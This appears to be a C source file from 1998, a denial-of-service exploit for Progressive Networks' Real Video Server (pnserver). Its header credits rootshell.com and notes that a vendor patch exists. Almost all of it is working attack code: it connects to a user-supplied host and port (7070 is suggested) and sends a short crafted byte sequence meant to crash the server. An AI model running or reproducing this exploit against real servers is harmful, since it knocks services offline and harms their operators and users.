/*
 * pnserver exploit [1/15/98]
 *
 * Crash's Progressive Networks Real Video Server [ http://www.real.com/ ]
 *
 * [ http://www.rootshell.com/ ]
 *
 * Compiled under linux.
 *
 * Update, 3/3/98 :
 * Patch available at http://service.real.com/help/faq/serv501.html
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
void main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *hp;
  char buffer[6];
  int sock;
  
  if (argc != 3) {
    printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]);
    exit(1);
  }
  hp = gethostbyname(argv[1]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(atoi(argv[2]));
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
  write(sock, &buffer[0], strlen(buffer));
  close(sock);
}